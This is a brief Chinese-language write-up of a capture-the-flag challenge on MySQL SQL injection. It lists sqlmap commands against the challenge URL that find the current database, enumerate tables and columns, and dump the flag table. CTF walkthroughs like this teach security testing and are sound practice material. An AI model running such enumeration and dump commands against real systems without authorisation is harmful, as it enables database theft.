<题目>
mysql报错注入
格式:flag{}
解题链接: http://ctf5.shiyanbar.com/web/index_3.php
<解答>
1.打开题目链接,在查询中输入1,发现地址栏变化。
2.认为这里可能(看题目其实知道是一定)存在一个sql注入。
3.使用工具sqlmap进行注入(以该地址栏id值为例)。
- 查看当前数据库:
Sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db
- 查看(猜解)表:
Sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D web1 --tables
- 查看(猜解)flag表的列:
Sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D web1 -T flag -columns
- 将flag表中的flag值dump一下:
Sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D web1 -T flag -C flag --dump
即可得到最终的值:
后记:如果不熟悉sqlmap,则最先应记住几个常用的注入语句和常见的注入方法,必要时也可以考虑手工注入。